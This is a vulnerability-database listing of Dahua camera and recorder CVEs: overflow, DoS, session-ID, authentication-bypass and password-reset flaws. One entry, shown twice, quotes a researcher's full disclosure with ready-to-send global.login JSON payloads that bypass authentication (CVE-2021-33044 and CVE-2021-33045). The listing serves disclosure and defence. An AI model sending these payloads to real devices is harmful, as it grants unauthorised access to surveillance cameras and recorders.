All the vulnerabilites related to dahuasecurity - sd52c
Vulnerability from fkie_nvd
Published
2020-04-09 14:15
Modified
2024-11-21 05:40
Summary
Some products of Dahua have Denial of Service vulnerabilities. After the successful login of the legal account, the attacker sends a specific log query command, which may cause the device to go down.



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Vulnerability from fkie_nvd
Published
2020-04-09 14:15
Modified
2024-11-21 05:40
Summary
Some Dahua products have buffer overflow vulnerabilities. After the successful login of the legal account, the attacker sends a specific DDNS test command, which may cause the device to go down.



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  "descriptions": [
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      "lang": "en",
      "value": "Some Dahua products have buffer overflow vulnerabilities. After the successful login of the legal account, the attacker sends a specific DDNS test command, which may cause the device to go down."
    },
    {
      "lang": "es",
      "value": "Algunos productos Dahua presentan vulnerabilidades de desbordamiento de b\u00fafer. Despu\u00e9s del inicio de sesi\u00f3n con \u00e9xito de la cuenta legal, el atacante env\u00eda un comando de prueba DDNS espec\u00edfico, que puede hacer que el dispositivo se caiga."
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  "id": "CVE-2020-9499",
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  "metrics": {
    "cvssMetricV2": [
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        "cvssData": {
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          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
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  "published": "2020-04-09T14:15:13.213",
  "references": [
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      "source": "cybersecurity@dahuatech.com",
      "tags": [
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      "url": "https://www.dahuasecurity.com/support/cybersecurity/details/727"
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  "vulnStatus": "Modified",
  "weaknesses": [
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          "value": "CWE-120"
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      "source": "nvd@nist.gov",
      "type": "Primary"
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}

Vulnerability from fkie_nvd
Published
2020-05-13 16:15
Modified
2024-11-21 04:52
Summary
Dahua devices with Build time before December 2019 use strong security login mode by default, but in order to be compatible with the normal login of early devices, some devices retain the weak security login mode that users can control. If the user uses a weak security login method, an attacker can monitor the device network to intercept network packets to attack the device. So it is recommended that the user disable this login method.



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  "descriptions": [
    {
      "lang": "en",
      "value": "Dahua devices with Build time before December 2019 use strong security login mode by default, but in order to be compatible with the normal login of early devices, some devices retain the weak security login mode that users can control. If the user uses a weak security login method, an attacker can monitor the device network to intercept network packets to attack the device. So it is recommended that the user disable this login method."
    },
    {
      "lang": "es",
      "value": "Los dispositivos Dahua con tiempo de Compilaci\u00f3n antes de diciembre de 2019, usan un modo de inicio de sesi\u00f3n de seguridad fuerte por defecto, pero en funci\u00f3n de ser compatibles con el inicio de sesi\u00f3n normal de los primeros dispositivos, algunos dispositivos conservan el modo de inicio de sesi\u00f3n de seguridad d\u00e9bil que los usuarios pueden controlar. Si el usuario usa un m\u00e9todo de inicio de sesi\u00f3n de seguridad d\u00e9bil, un atacante puede monitorear la red del dispositivo para interceptar los paquetes de red para atacar el dispositivo. Por lo tanto, es recomendado que el usuario desactive este m\u00e9todo de inicio de sesi\u00f3n."
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  "id": "CVE-2019-9682",
  "lastModified": "2024-11-21T04:52:06.380",
  "metrics": {
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        "acInsufInfo": false,
        "baseSeverity": "MEDIUM",
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          "authentication": "NONE",
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  "published": "2020-05-13T16:15:12.870",
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      "source": "cybersecurity@dahuatech.com",
      "tags": [
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      "url": "https://www.dahuasecurity.com/support/cybersecurity/details/767"
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  "vulnStatus": "Modified",
  "weaknesses": [
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          "value": "CWE-276"
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}

Vulnerability from fkie_nvd
Published
2021-09-15 22:15
Modified
2024-11-21 06:08
Severity ?
Summary
The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.



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  "cisaExploitAdd": "2024-08-21",
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  "cveTags": [],
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      "lang": "en",
      "value": "The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets."
    },
    {
      "lang": "es",
      "value": "Una vulnerabilidad de omisi\u00f3n de autenticaci\u00f3n de identidad encontrada en algunos productos Dahua durante el proceso de inicio de sesi\u00f3n. Los atacantes pueden omitir la autenticaci\u00f3n de la identidad del dispositivo al construir paquetes de datos maliciosos"
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Vulnerability from fkie_nvd
Published
2022-01-13 21:15
Modified
2024-11-21 06:08
Severity ?
Summary
Some Dahua products have access control vulnerability in the password reset process. Attackers can exploit this vulnerability through specific deployments to reset device passwords.
Impacted products
Vendor Product Version
dahuasecurity ipc-hx1xxx_firmware *
dahuasecurity ipc-hx1xxx -
dahuasecurity ipc-hx2xxx_firmware *
dahuasecurity ipc-hx2xxx -
dahuasecurity ipc-hx3xxx_firmware *
dahuasecurity ipc-hx3xxx -
dahuasecurity ipc-hx5\(4\)\(3\)xxx_firmware *
dahuasecurity ipc-hx5\(4\)\(3\)xxx -
dahuasecurity ipc-hx5xxx_firmware *
dahuasecurity ipc-hx5xxx -
dahuasecurity sd1a1_firmware *
dahuasecurity sd1a1 -
dahuasecurity sd22_firmware *
dahuasecurity sd22 -
dahuasecurity sd49_firmware *
dahuasecurity sd49 -
dahuasecurity sd50_firmware *
dahuasecurity sd50 -
dahuasecurity sd52c_firmware *
dahuasecurity sd52c -
dahuasecurity sd6al_firmware *
dahuasecurity sd6al -
dahuasecurity tpc-bf1241_firmware *
dahuasecurity tpc-bf1241 -
dahuasecurity tpc-bf2221_firmware *
dahuasecurity tpc-bf2221 -
dahuasecurity tpc-bf5x01_firmware *
dahuasecurity tpc-bf5x01 -
dahuasecurity tpc-pt8x21x_firmware *
dahuasecurity tpc-pt8x21x -
dahuasecurity tpc-sd2221_firmware *
dahuasecurity tpc-sd2221 -
dahuasecurity tpc-sd8x21_firmware *
dahuasecurity tpc-sd8x21 -
dahuasecurity nvr1xxx_firmware *
dahuasecurity nvr1xxx -
dahuasecurity nvr2xxx_firmware *
dahuasecurity nvr2xxx -
dahuasecurity nvr4xxx_firmware *
dahuasecurity nvr4xxx -
dahuasecurity nvr5xxx_firmware *
dahuasecurity nvr5xxx -
dahuasecurity xvr4xxx_firmware *
dahuasecurity xvr4xxx -
dahuasecurity xvr5xxx_firmware *
dahuasecurity xvr5xxx -
dahuasecurity xvr7xxx_firmware *
dahuasecurity xvr7xxx -
dahuasecurity hcvr7xxx_firmware *
dahuasecurity hcvr7xxx -
dahuasecurity hcvr8xxx_firmware *
dahuasecurity hcvr8xxx -
dahuasecurity vtox20xf_firmware *
dahuasecurity vtox20xf -
dahuasecurity asc2204c_firmware *
dahuasecurity asc2204c -



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  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Some Dahua products have access control vulnerability in the password reset process. Attackers can exploit this vulnerability through specific deployments to reset device passwords."
    },
    {
      "lang": "es",
      "value": "Algunos productos Dahua presentan una vulnerabilidad de control de acceso en el proceso de restablecimiento de la contrase\u00f1a. Los atacantes pueden explotar esta vulnerabilidad mediante implementaciones espec\u00edficas para restablecer las contrase\u00f1as de los dispositivos"
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  "id": "CVE-2021-33046",
  "lastModified": "2024-11-21T06:08:11.233",
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          "accessVector": "NETWORK",
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          "baseScore": 7.5,
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        "obtainAllPrivilege": false,
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  "published": "2022-01-13T21:15:07.753",
  "references": [
    {
      "source": "cybersecurity@dahuatech.com",
      "tags": [
        "Vendor Advisory"
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      "url": "https://support.dahuatech.com/networkSecurity/securityDetails?id=95"
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      "tags": [
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    {
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    {
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  "sourceIdentifier": "cybersecurity@dahuatech.com",
  "vulnStatus": "Modified",
  "weaknesses": [
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          "lang": "en",
          "value": "CWE-287"
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      "source": "nvd@nist.gov",
      "type": "Primary"
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}

Vulnerability from fkie_nvd
Published
2020-05-13 16:15
Modified
2024-11-21 05:40
Severity ?
Summary
Some Dahua products with Build time before December 2019 have Session ID predictable vulnerabilities. During normal user access, an attacker can use the predicted Session ID to construct a data packet to attack the device.



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var-202004-1823
Vulnerability from variot

Some Dahua products have buffer overflow vulnerabilities. After the successful login of the legal account, the attacker sends a specific DDNS test command, which may cause the device to go down. Dahua The product contains a classic buffer overflow vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Dahua SD6AL Series and others are products of China Dahua Company. SD6AL Series is a SD6AL series network camera. NVR 5x Series is a 5x series network video recorder. IPC-HX2XXX Series is an IPC-HX2XXX series network camera

Show details on source website


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var-202109-1875
Vulnerability from variot

The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets. plural Dahua The product contains authentication vulnerabilities.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Dahua Technology Multiple products offered by (CWE-287) vulnerabilities exist. In this vulnerability information, DHI-ASI7213Y-V3-T1 Based on the Information Security Early Warning Partnership, the impact on IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd.A remote third party can exploit the product by sending a specially crafted data packet. ID Authentication may be bypassed. Dahua IPC is a series of industrial computer of Dahua of China Dahua Company. Zhejiang Dahua Technology Co., Ltd. is a leading monitoring product supplier and solution service provider. [STX]

Subject: [Update]: Dahua Authentication bypass (CVE-2021-33044, CVE-2021-33045)

Attack vector: Remote Authentication: Anonymous (no credentials needed) Researcher: bashis (2021) Limited Disclosure: September 6, 2021 Full Disclosure: October 6, 2021 PoC: https://github.com/mcw0/DahuaConsole

-=[Dahua]=- Advisory: https://www.dahuasecurity.com/support/cybersecurity/details/957 Firmware: https://www.dahuasecurity.com/support/downloadCenter/firmware

-=[Timeline]=- June 13, 2021: Initiated contact with Dahua PSIRT (CyberSecurity@dahuatech.com) June 17, 2021: Sent reminder to Dahua PSIRT June 18, 2021: Asked IPVM for help to get in contact with Dahua June 18, 2021: Received ACK from IPVM, told they sent note to Dahua June 19, 2021: ACK received from Dahua PSIRT, asked for additional details June 19, 2021: Additional details including PoC sent June 21, 2021: ACK received, vulnerabilites confirmed June 23, 2021: Dahua PSIRT asked for "coordinated disclosure" June 23, 2021: Confirmed 90 days before my disclosure, said they may release updated firmware anytime from now June 24, 2021: Received CVE-2021-33044, I asked about the second CVE July 03, 2021: Received CVE-2021-33045, Dahua PSIRT asked again for "coordinated disclosure" July 04, 2021: Confirmed "coordinated disclosure", once again July 05, 2021: Dahua PSIRT tried convince me for "Full Disclosure" for vendor only, and "Limited Disclosure" for outside world July 05, 2021: Disagreed, told I will let Dahua PSIRT read my note before "Limited Disclosure" September 6, 2021. "Full Disclosure" will be October 6, 2021, August 30, 2021: Dahua PSIRT asked to read my "Limited Disclosure" note August 30, 2021: Sent my "Limited Disclosure" note September 1, 2021: Dahua PSIRT informing about release of their Security Advisory and firmware updates September 1, 2021: Notified Dahua PSIRT that I cannot find firmware updates for my IPC/VTH/VTO devices September 2, 2021: Dahua PSIRT pointed oversea website, asked for what models I have so Dahua could release firmware September 2, 2021: Refused to provide details, as I do expect me to find firmware on their website September 3, 2021: Dahua PSIRT informed that R&D will upload updated firmware in batches September 6, 2021: Limited Disclosure October 6, 2021: Full Disclosure

-=[NetKeyboard Vulnerability]=-

CVE-2021-33044

Vulnerability: "clientType": "NetKeyboard", Vulnerable device types: IPC/VTH/VTO (tested) Vulnerable Firmware: Those devices who do not support "NetKeyboard" functionality (older than June 2021) Protocol: DHIP and HTTP/HTTPS

Details: Setting above "Vulnerability" on "Vulnerable device types" during 1st or 2nd "global.login" sequence will simply bypass authentication.

Successful bypass returns: {"id":1,"params":{"keepAliveInterval":60},"result":true,"session":}

[Example] { "method": "global.login", "params": { "userName": "admin", "loginType": "Direct", "clientType": "NetKeyboard", "authorityType": "Default", "passwordType": "Default", "password": "Not Used" }, "id": 1, "session": 0 }

-=[Loopback Vulnerability]=-

CVE-2021-33045

Vulnerability: "ipAddr": "127.0.0.1", "loginType": "Loopback", "clientType": "Local",

Vulnerable device types: IPC/VTH/VTO/NVR/DVR (tested) Vulnerable Firmware: Firmware version older than beginning/mid 2020. Protocol: DHIP

Details: Setting above "Vulnerability" on "Vulnerable device types" during 1st or 2nd "global.login" sequence pretends that the login request comes from "loopback" and will therefore bypass legitimate authentication.

Successful bypass returns: {"id":1,"params":{"keepAliveInterval":60},"result":true,"session":}

[Example] Random MD5 with l/p: admin/admin { "method": "global.login", "params": { "userName": "admin", "ipAddr": "127.0.0.1", "loginType": "Loopback", "clientType": "Local", "authorityType": "Default", "passwordType": "Default", "password": "[REDACTED]" }, "id": 1, "session": 0 }

Plain text with l/p: admin/admin { "method": "global.login", "params": { "userName": "admin", "ipAddr": "127.0.0.1", "loginType": "Loopback", "clientType": "Local", "authorityType": "Default", "passwordType": "Plain", "password": "admin" }, "id": 1, "session": 0 }

[ETX]

Show details on source website


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    "data": "The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets. plural Dahua The product contains authentication vulnerabilities.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Dahua Technology Multiple products offered by (CWE-287) vulnerabilities exist. In this vulnerability information, DHI-ASI7213Y-V3-T1 Based on the Information Security Early Warning Partnership, the impact on IPA Report to JPCERT/CC Coordinated with the developer. Reporter : Mitsui Bussan Secure Direction Co., Ltd.A remote third party can exploit the product by sending a specially crafted data packet. ID Authentication may be bypassed. Dahua IPC is a series of industrial computer of Dahua of China Dahua Company. Zhejiang Dahua Technology Co., Ltd. is a leading monitoring product supplier and solution service provider. [STX]\n\nSubject: [Update]: Dahua Authentication bypass (CVE-2021-33044, CVE-2021-33045)\n\nAttack vector: Remote\nAuthentication: Anonymous (no credentials needed)\nResearcher: bashis \u003cmcw noemail eu\u003e (2021)\nLimited Disclosure: September 6, 2021\nFull Disclosure: October 6, 2021\nPoC: https://github.com/mcw0/DahuaConsole\n\n-=[Dahua]=-\nAdvisory: https://www.dahuasecurity.com/support/cybersecurity/details/957\nFirmware: https://www.dahuasecurity.com/support/downloadCenter/firmware\n\n-=[Timeline]=-\nJune 13, 2021: Initiated contact with Dahua PSIRT (CyberSecurity@dahuatech.com)\nJune 17, 2021: Sent reminder to Dahua PSIRT\nJune 18, 2021: Asked IPVM for help to get in contact with Dahua\nJune 18, 2021: Received ACK from IPVM, told they sent note to Dahua\nJune 19, 2021: ACK received from Dahua PSIRT, asked for additional details\nJune 19, 2021: Additional details including PoC sent\nJune 21, 2021: ACK received, vulnerabilites confirmed\nJune 23, 2021: Dahua PSIRT asked for \"coordinated disclosure\"\nJune 23, 2021: Confirmed 90 days before my disclosure, said they may release updated firmware anytime from now\nJune 24, 2021: Received CVE-2021-33044, I asked about the second CVE\nJuly 03, 2021: Received CVE-2021-33045, Dahua PSIRT asked again for \"coordinated disclosure\"\nJuly 04, 2021: Confirmed \"coordinated disclosure\", once again\nJuly 05, 2021: Dahua PSIRT tried convince me for \"Full Disclosure\" for vendor only, and \"Limited Disclosure\" for outside world\nJuly 05, 2021: Disagreed, told I will let Dahua PSIRT read my note before \"Limited Disclosure\" September 6, 2021. \n               \"Full Disclosure\" will be October 6, 2021,\nAugust 30, 2021: Dahua PSIRT asked to read my \"Limited Disclosure\" note\nAugust 30, 2021: Sent my \"Limited Disclosure\" note\nSeptember 1, 2021: Dahua PSIRT informing about release of their Security Advisory and firmware updates\nSeptember 1, 2021: Notified Dahua PSIRT that I cannot find firmware updates for my IPC/VTH/VTO devices\nSeptember 2, 2021: Dahua PSIRT pointed oversea website, asked for what models I have so Dahua could release firmware\nSeptember 2, 2021: Refused to provide details, as I do expect me to find firmware on their website\nSeptember 3, 2021: Dahua PSIRT informed that R\u0026D will upload updated firmware in batches\nSeptember 6, 2021: Limited Disclosure\nOctober 6, 2021: Full Disclosure\n\n\n-=[NetKeyboard Vulnerability]=-\n\nCVE-2021-33044\n\nVulnerability:\n        \"clientType\": \"NetKeyboard\",\nVulnerable device types: IPC/VTH/VTO (tested)\nVulnerable Firmware: Those devices who do not support \"NetKeyboard\" functionality (older than June 2021)\nProtocol: DHIP and HTTP/HTTPS\n\nDetails:\nSetting above \"Vulnerability\" on \"Vulnerable device types\" during 1st or 2nd \"global.login\" sequence will simply bypass authentication. \n\nSuccessful bypass returns: {\"id\":1,\"params\":{\"keepAliveInterval\":60},\"result\":true,\"session\":\u003csessionID\u003e}\n\n[Example]\n{\n    \"method\": \"global.login\",\n    \"params\":\n    {\n        \"userName\": \"admin\",\n        \"loginType\": \"Direct\",\n        \"clientType\": \"NetKeyboard\",\n        \"authorityType\": \"Default\",\n        \"passwordType\": \"Default\",\n        \"password\": \"Not Used\"\n    },\n    \"id\": 1,\n    \"session\": 0\n}\n\n-=[Loopback Vulnerability]=-\n\nCVE-2021-33045\n\nVulnerability:\n        \"ipAddr\": \"127.0.0.1\",\n        \"loginType\": \"Loopback\",\n        \"clientType\": \"Local\",\n\nVulnerable device types: IPC/VTH/VTO/NVR/DVR (tested)\nVulnerable Firmware: Firmware version older than beginning/mid 2020. \nProtocol: DHIP\n\nDetails:\nSetting above \"Vulnerability\" on \"Vulnerable device types\" during 1st or 2nd \"global.login\" sequence pretends that the login request comes from \"loopback\" and will therefore bypass legitimate authentication. \n\nSuccessful bypass returns: {\"id\":1,\"params\":{\"keepAliveInterval\":60},\"result\":true,\"session\":\u003csessionID\u003e}\n\n\n[Example]\nRandom MD5 with l/p: admin/admin\n{\n    \"method\": \"global.login\",\n    \"params\":\n    {\n        \"userName\": \"admin\",\n        \"ipAddr\": \"127.0.0.1\",\n        \"loginType\": \"Loopback\",\n        \"clientType\": \"Local\",\n        \"authorityType\": \"Default\",\n        \"passwordType\": \"Default\",\n        \"password\": \"[REDACTED]\"\n    },\n    \"id\": 1,\n    \"session\": 0\n}\n\nPlain text with l/p: admin/admin\n{\n    \"method\": \"global.login\",\n    \"params\":\n    {\n        \"userName\": \"admin\",\n        \"ipAddr\": \"127.0.0.1\",\n        \"loginType\": \"Loopback\",\n        \"clientType\": \"Local\",\n        \"authorityType\": \"Default\",\n        \"passwordType\": \"Plain\",\n        \"password\": \"admin\"\n    },\n    \"id\": 1,\n    \"session\": 0\n}\n\n[ETX]\n\n\n\n",
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var-202004-1824
Vulnerability from variot

Some products of Dahua have Denial of Service vulnerabilities. After the successful login of the legal account, the attacker sends a specific log query command, which may cause the device to go down. Dahua There is an input verification vulnerability in.Service operation interruption (DoS) It may be put into a state. Dahua SD6AL Series and others are products of China Dahua Company. SD6AL Series is a SD6AL series network camera. NVR 5x Series is a 5x series network video recorder. IPC-HX2XXX Series is an IPC-HX2XXX series network camera.

There are security holes in many Dahua products

Show details on source website


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cve-2019-9682
Vulnerability from cvelistv5
Published
2020-05-13 15:10
Modified
2024-08-04 21:54
Severity ?
Summary
Dahua devices with Build time before December 2019 use strong security login mode by default, but in order to be compatible with the normal login of early devices, some devices retain the weak security login mode that users can control. If the user uses a weak security login method, an attacker can monitor the device network to intercept network packets to attack the device. So it is recommended that the user disable this login method.
Show details on NVD website


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cve-2020-9502
Vulnerability from cvelistv5
Published
2020-05-13 15:21
Modified
2024-08-04 10:34
Severity ?
Summary
Some Dahua products with Build time before December 2019 have Session ID predictable vulnerabilities. During normal user access, an attacker can use the predicted Session ID to construct a data packet to attack the device.
Show details on NVD website


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cve-2020-9500
Vulnerability from cvelistv5
Published
2020-04-09 13:21
Modified
2024-08-04 10:34
Severity ?
Summary
Some products of Dahua have Denial of Service vulnerabilities. After the successful login of the legal account, the attacker sends a specific log query command, which may cause the device to go down.
Show details on NVD website


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cve-2020-9499
Vulnerability from cvelistv5
Published
2020-04-09 13:19
Modified
2024-08-04 10:34
Severity ?
Summary
Some Dahua products have buffer overflow vulnerabilities. After the successful login of the legal account, the attacker sends a specific DDNS test command, which may cause the device to go down.
Show details on NVD website


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cve-2021-33044
Vulnerability from cvelistv5
Published
2021-09-15 21:36
Modified
2024-09-05 15:00
Severity ?
Summary
The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-33046
Vulnerability from cvelistv5
Published
2022-01-13 20:27
Modified
2024-08-03 23:42
Severity ?
Summary
Some Dahua products have access control vulnerability in the password reset process. Attackers can exploit this vulnerability through specific deployments to reset device passwords.
Impacted products
Vendor Product Version
Show details on NVD website


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